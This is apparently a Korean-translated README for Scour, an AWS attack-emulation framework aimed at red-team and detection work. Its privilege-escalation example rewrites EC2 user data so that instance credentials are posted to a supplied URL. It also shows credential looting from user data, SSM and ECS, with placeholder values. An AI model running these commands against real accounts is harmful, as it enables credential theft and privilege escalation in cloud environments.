Scour - AWS 탐지 프레임워크

이 도구는 AWS Controlplane 내부에서 공격 패턴을 에뮬레이트하는 데 사용됩니다. 각 공격은 블루팀이 신호를 보낼 수 있도록 특정 UA로 태그됩니다.

상태

이는 아직 진행 중인 작업입니다. **버그가 많음
프로덕션 준비되지 않음
이슈 제출처: https://github.com/grines/scour/issues
유지 관리자: grines

Scour란 무엇인가?

Scour는 golang으로 작성된 현대적인 모듈 기반 AWS 익스플로잇 프레임워크로, 레드팀 테스트 및 블루팀 분석을 위해 설계되었습니다. Scour는 환경을 공격하거나 방어용 탐지를 구축하는 데 사용할 수 있는 현대적인 기술을 포함합니다.

기능

명령 완성
동적 리소스 나열
명령 기록
블루팀 모드 (공격에 고유 사용자 에이전트 태그)

설치

Scour는 golang으로 작성되어 바이너리로 쉽게 배포할 수 있습니다.

##Gettable

go get github.com/grines/scour

##Build

go build main.go

보다 상세하고 사용자 친화적인 사용 설명서는 Wiki의 설치 가이드를 확인하세요. **곧 제공 예정

Scour의 모듈

Scour는 다양한 모듈을 사용합니다:

참고

Scour는 모든 Linux/OSX에서 지원됩니다.
Scour는 오픈 소스 소프트웨어이며 BSD-3-Clause 라이선스로 배포됩니다.

시작하기

Scour가 처음 실행되면,

Scour 기본 명령

token profile <profile_name> <region> 는 ~/aws/credentials에 저장된 사용 가능한 AWS 프로필을 나열합니다.
token AssumeRole <role_name> <region> 은 동일 계정 또는 다른 계정의 역할을 수임합니다. ** 활성 세션 필요
help module 은 지정된 모듈에 대한 해당 도움말 정보를 반환합니다. **도움말 TBD
attack evasion <tactic> 은 지정된 모듈을 기본 매개변수로 실행합니다.

명령줄에서 Scour 실행

scour 는 CLI 모드로 진입합니다.
Not Connected <> token profile apiuser us-east-1 은 세션이 필요한 명령에 사용할 세션을 설정합니다.
Connected <apiuser/us-east-1> 는 (리전)의 (~,/aws/credentials)에서 AWS 프로필에 활성 연결됨
Connected <apiuser/us-east-1> attack enum <attack> 탭 완성으로 사용 가능한 열거 전술 목록 표시
Connected <apiuser/us-east-1> attack privesc <attack> 탭 완성으로 사용 가능한 권한 상승 전술 목록 표시
Connected <apiuser/us-east-1> attack lateral <attack> 탭 완성으로 사용 가능한 측면 이동 전술 목록 표시
Connected <apiuser/us-east-1> attack evasion <attack> 탭 완성으로 사용 가능한 회피 전술 목록 표시
Connected <apiuser/us-east-1> attack creds <attack> 탭 완성으로 사용 가능한 자격 증명 발견 전술 목록 표시
Connected <apiuser/us-east-1> attack execute <attack> 탭 완성으로 사용 가능한 실행 전술 목록 표시
Connected <apiuser/us-east-1> attack persist <attack> 탭 완성으로 사용 가능한 지속성 전술 목록 표시

열거

Connected <apiuser/us-east-1> attack enum IAM IAM 탐색

+-------------+---------------------+------------------+---------------+--------------+
|    USER     |  MANAGED POLICIES   | INLINE POLICIES  |    GROUPS     | ISPRIVILEGED |
+-------------+---------------------+------------------+---------------+--------------+
| admin       | AdministratorAccess | AllEKSInlineuser | SecurityAudit | true         |
| EC2         | AmazonEC2FullAccess |                  |               | true         |
+-------------+---------------------+------------------+---------------+--------------+

Connected <apiuser/us-east-1> attack enum Roles Roles discovery

UA Tracking: exec-env/EVSWAyidC4/o18HtFPe1P/role-enum
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+
|                            ROLE                            | PRINCIPAL TYPE |                  IDENTITY/SERVICE                   | ISPRIVILEGED |
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+
| Amazon_CodeBuild_dW6zqYHT3m                                | AWS            | [arn:aws:iam::861******:root                     | true         |
|                                                            |                | codebuild.amazonaws.com]                            |              |
| Amazon_CodeBuild_f2DOFPjMHK                                | Service        | [codebuild.amazonaws.com]                           | true         |
| Amazon_CodeBuild_HS59ko7lxn                                | Service        | [codebuild.amazonaws.com]                           | true         |
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+

Connected <apiuser/us-east-1> attack enum EC2 EC2 discovery

UA Tracking: exec-env/EVSWAyidC4/dudqW7y1xb/ec2-enum
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+
|     INSTANCEID      |                  INSTANCE PROFILE                   |     VPC      | PUBLICIP |   PRIVATEIP   |   SECURITY GROUPS    | PORTS  |  STATE  | ISPRIVILEGED | ISPUBLIC |
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+
| i-0f5604708c0b51429 | None                                                | vpc-7e830c1a | None     | 172.31.53.199 | sg-09fcd28717cf4f512 | 80*    | stopped | false        | true     |
|                     |                                                     |              |          |               |                      | 22*    |         |              |          |
|                     |                                                     |              |          |               |                      | 5000*  |         |              |          |
| i-03657fe3b9decdf51 | arn:aws:iam::*****:instance-profile/OrgAdmin | vpc-7e830c1a | None     | 172.31.45.96  | sg-61b1fd07          | All*   | stopped | true         | true     |
|                     |                                                     |              |          |               |                      | 8888*  |         |              |          |
| i-01b265a5fdc45df57 | None                                                | vpc-7e830c1a | None     | 172.31.38.118 | sg-0392f752f9b849d3f | 3389*  | stopped | false        | true     |
| i-0867709d6c0be74d9 | arn:aws:iam::*****:instance-profile/OrgAdmin | vpc-7e830c1a | None     | 172.31.39.199 | sg-006543a34d2f70028 | 22*    | stopped | true         | true     |
| i-0d95790b5e7ddff23 | None                                                | vpc-7e830c1a | None     | 172.31.12.57  | sg-e1a50dac          | 33391* | stopped | false        | true     |
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+

Connected <apiuser/us-east-1> attack enum S3 S3 discovery

UA Tracking: exec-env/EVSWAyidC4/GDGZaYQOuo/s3-enum
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+
|                  BUCKET                   | HASPOLICY | ISWEBSITE | ALLOW PUBLIC | PERMISSIONS | ALLOW AUTHENTICATED | PERMISSIONS | REPLICATION |  REGION   |
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+
| amazon-conn********3d79b01a               | false     | false     | false        |             | false               |             | false       | us-west-2 |
| aws-cloudtrail-logs-**********98-cb39df0d | true      | false     | false        |             | false               |             | false       |           |
| bullsecu*********                         | true      | true      | false        |             | false               |             | false       |           |
| connect-6ec*****ad67                      | false     | false     | false        |             | false               |             | false       |           |
| connect-******5337c3                      | false     | false     | false        |             | false               |             | false       |           |
| ransom********                            | true      | false     | false        |             | false               |             | false       |           |
| red********                               | false     | false     | false        |             | false               |             | false       |           |
| rep-*****                                 | false     | false     | false        |             | false               |             | false       | us-west-2 |
| terraform*******                          | false     | false     | false        |             | false               |             | false       |           |
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+

Connected <apiuser/us-east-1> attack enum Groups Groups discovery

UA Tracking: exec-env/EVSWAyidC4/jAIKVdESpU/groups-enum
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+
|                     GROUP                     |      POLICIES       | ISPRIVILEGED | INLINE POLICIES | ISPRIVILEGED |
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+
| EC2                                           | SecurityAudit       | false        |                 | false        |
| OpsWorks-dac9e9ba-8b3d-4e04-9ad9-d988ca4c0731 |                     | false        |                 | false        |
| TestGroup                                     | AmazonEC2FullAccess | true         |                 | false        |
|                                               | SecurityAudit       |              |                 |              |
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+

Connected <apiuser/us-east-1> attack enum Network Network discovery

TBD

권한 상승

Connected <apiuser/us-east-1> attack privesc UserData i-0f5604708c0b51429 http://url.to.capture.post.data EC2에서 메타데이터 자격 증명 탈취. 인스턴스 중지 / 제공된 URL에 자격 증명을 게시하도록 사용자 데이터 업데이트 / 인스턴스 시작 (EC2 토큰을 URL로 전송.)

[Sun May  9 06:10:16 2021]  INF  Stopping Instance i-0f5604708c0b51429 - State: stopped
[Sun May  9 06:10:46 2021]  INF  Modifying Instance Attribute UserData on i-0f5604708c0b51429
[Sun May  9 06:10:47 2021]  INF  Starting Instance i-0f5604708c0b51429 - State: pending

자격 증명 발견

Connected <apiuser/us-east-1> attack creds UserData EC2 사용자 데이터에서 자격 증명 약탈

UA Tracking: exec-env/yzaqX9HFvP/oL1oho99ZP/userdata-creds
+---------------------+------------------+-------------------------------------------------------------------------------+
|     INSTANCEID      |       RULE       |                                    FINDING                                    |
+---------------------+------------------+-------------------------------------------------------------------------------+
| i-0f5604708c0b51429 | Slack Webhook    | https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX |
| i-0f5604708c0b51429 | Generic Password | password=thisisapassword                                                      |
+---------------------+------------------+-------------------------------------------------------------------------------+

Connected <apiuser/us-east-1> attack creds SSM Systems Manager에서 자격 증명 약탈

UA Tracking: exec-env/yzaqX9HFvP/FASongUCcG/ssm-params-creds
+------------+----------+----------------------+
| PARAM NAME | DATATYPE |        VALUE         |
+------------+----------+----------------------+
| Test       | text     | thismightbeapassword |
+------------+----------+----------------------+

Connected <apiuser/us-east-1> attack creds ECS ECS에서 자격 증명 약탈

UA Tracking: exec-env/9tsJFrIPmw/rEGaMfF5AI/ecs-creds
+-------------+-------+------------+
| ENVARS NAME | VALUE | DEFINITION |
+-------------+-------+------------+
| Secret      | heere | sample-app |
+-------------+-------+------------+

면책 조항 및 AWS 허용 사용 정책

우리가 아는 한 Scour의 기능은 AWS 허용 사용 정책을 준수하지만, 유연하고 모듈식 도구이기 때문에 모든 상황에서 준수된다고 보장할 수 없습니다. Scour 사용 방식이 AWS 허용 사용 정책을 준수하는지 확인하는 것은 전적으로 귀하의 책임입니다.
사용하는 AWS 서비스와 계획된 테스트에 따라, 인프라에 대해 실제로 Scour를 실행하기 전에 Amazon에 승인을 요청해야 할 수도 있습니다. 그러한 승인이 필요한지 여부를 결정하는 것은 귀하의 책임입니다.
다른 침투 테스트 도구와 마찬가지로, 환경 외부에서 Scour를 사용하기 전에 적절한 승인을 받는 것은 귀하의 책임입니다.
Scour는 어떠한 보증도 제공하지 않는 소프트웨어입니다. Scour를 사용함으로써 발생하는 모든 결과에 대한 전적인 책임은 귀하에게 있습니다.

scour

인기